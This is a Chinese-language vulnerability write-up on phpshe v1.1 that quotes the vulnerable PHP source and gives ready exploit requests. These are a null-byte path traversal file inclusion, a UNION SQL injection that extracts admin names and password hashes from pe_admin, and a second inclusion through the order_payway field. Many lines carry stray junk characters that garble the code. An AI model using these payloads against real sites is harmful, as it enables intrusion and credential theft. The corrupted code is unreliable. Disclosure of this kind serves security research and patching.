phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
7 w% p& Y' p! o2 Y0 M; W/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
, }0 Z% A' l( N7 \: n/*******************************************************/
8 d4 N- O( m& ^0×00 整体大概参数传输

( g$ Z: @% \6 y# T2 d1 U
- M9 U" e' Y( B' z. [4 {( t
//common.php
0 ?, f+ E2 U9 F9 Vif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
! ?( d& k5 F3 }!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
* r0 |3 J2 r+ f( t5 o! Q, F  D1 L!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞


( ~  [  h/ k% z& l9 F- \//首页文件
% k4 q/ T9 T3 M+ G0 h+ v+ }) t  }<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
- V( ?+ g& ^9 z+ s( }2 U" ^include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
' H3 b8 H5 b' r& p0 upe_result();
?>
//common 文件 第15行开始
! @7 F3 I$ `/ n" E, }url路由配置
$module = $mod = $act = 'index';
; V2 B0 R/ B( l$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
+ o$ m0 }8 z* g' \$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
/ ~1 J* @& V8 }9 c$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

9 @: ^) H5 P/ G, y8 e( v 0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
' X0 ~! n% M; P8 n7 i# z7 Fpe_lead('hook/category.hook.php');
* c+ p5 ]& L% ?' k! bif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
+ z7 ^$ e2 C5 z! j" J9 s; Q+ Wif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
* w" Y- [9 X9 L3 g2 @7 o}
+ c& R& r% E: c3 {$ b3 X  S. eelse {
: m- R; G6 P, ^9 A1 m2 ^4 `$sqlwhere .= " order by `product_id` desc";
}
3 n% |& Q- E. s- j4 y$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
; `9 R& K$ u; S//热卖排行
  J5 H; m5 R* t5 |5 z0 J$product_hotlist = product_hotlist();
//当前路径
- Q! u6 z: B# S) G" I% t% v5 c$nowpath = category_path($category_id);
/ f. F# ~% }# `. v8 h! n, ]6 G/ K/ ]$seo = pe_seo($info['category_name']);
7 M, x. h# d; J; tinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
4 t, v2 g( |% {, s; d- P& `0 mpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
8 m" ?6 K8 B4 B2 L& T{
1 }7 f" d& d/ G0 ^0 i" r& {//处理条件语句
: ~# i' m2 `' j9 j7 f0 W: E" @, m$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
9 I6 d; z2 L) Q( n7 j1 c7 {$ _+ [}
//exp
# v8 U) r1 ?5 L* u5 I! v, B1 jproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
4 d/ |. _" [: T/ U3 s" T8 B

</code>
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8 T6 j  ~9 l  ?4 u& A7 h7 z- d0×03 包含漏洞2

/ T# x  E9 @* v' y4 |- b7 f<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

- o0 d3 b4 _& u5 k2 Nforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

8 @0 Z# A0 a) X  [if ($k == 'bank') {

  ?# w$ G1 S+ }5 X$ j$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

' r  A/ o* q# I& k$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

6 K' y' B' @" ~  P4 G!$order['order_id'] && pe_error('订单号错误...');

, I/ A1 [* b0 k- Y  L1 Bif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

) m& d& c5 c0 F( e9 x, s+ L$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

: y& M% Q: f+ ?( V2 V/ M# r' Q$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

, F, G0 d& y8 b% upe_error('支付错误...');

}

* q: t& B4 s3 q+ H}

3 {. ~* Z: d! R$ @( t( d$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

7 v. F) ?- s8 Y& h3 Q! Kbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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